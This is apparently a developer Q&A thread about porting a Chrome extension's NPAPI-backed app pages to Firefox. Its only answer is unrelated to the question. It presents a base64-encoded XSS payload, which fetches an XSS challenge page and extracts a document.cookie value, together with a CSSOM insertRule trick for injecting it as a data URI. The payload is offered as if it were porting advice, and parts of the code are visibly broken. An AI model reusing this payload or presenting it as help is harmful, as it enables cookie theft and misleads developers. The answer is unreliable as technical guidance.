Porting Chrome Extension with multiple app pages to Firefox - optimization

Question

Chrome
I have a Chrome Extension that behaves like a web app (apart from using chrome.* APIs and Cross-Origin Requests) with multiple html pages which all use the background.html to communicate with a NPAPI plugin.
The extension's structure (from the extension's root) is as follows:
background.html
plugin/ (NPAPI plugin bundles)
frontend/
main.html
foo.html
bar.html
..
The background.html is loaded upon extension install and loads the NPAPI plugin, running indefinitely (until browser closes or extension is deactivated/removed).
Upon clicking the extension's toolbar button, main.html is opened, which provides a UI nav to access the other pages foo.html and bar.html.
Any of these pages uses chrome.extension.getBackgroundPage() to call methods of the NPAPI plugin and receive responses synchronously.
Firefox
Concerining the background NPAPI plugin, this was already answered in a previous question of mine.
From the options available in the current addon sdk, Firefox restricts message passing to JSON serializable values, thus I can no longer call the NPAPI plugin method directly (solved by passing the return value of the plugin along).
The question remaining concerns the frontend app pages, which are local and should be trusted scripts. I have experimented loading them as Panels, but Panels don't seem suitable for a complete UI page, but rather for small snippets of information.
Is there a way to load these pages without injecting a page-mod contentscript in every page programatically? (which also requires injecting a new script upon page navigation).

Answer 1

Use the CSSOM and a data URI to load the pages programmatically:
var foo = btoa("<script>x=new XMLHttpRequest();x.open(\u0022GET\u0022,\u0022http://xssme.html5sec.org/xssme2/\u0022,true);x.onload=function() { alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script>")
var bar = atob(foo);
var baz ='data:text/html;' + foo;
var stylesheet = document.styleSheets[0].cssRules;
stylesheet.insertRule("body { background-image: url( " + baz + " ); }", stylesheet.length - 1);
References
Data URI Converter
NPM: datauri package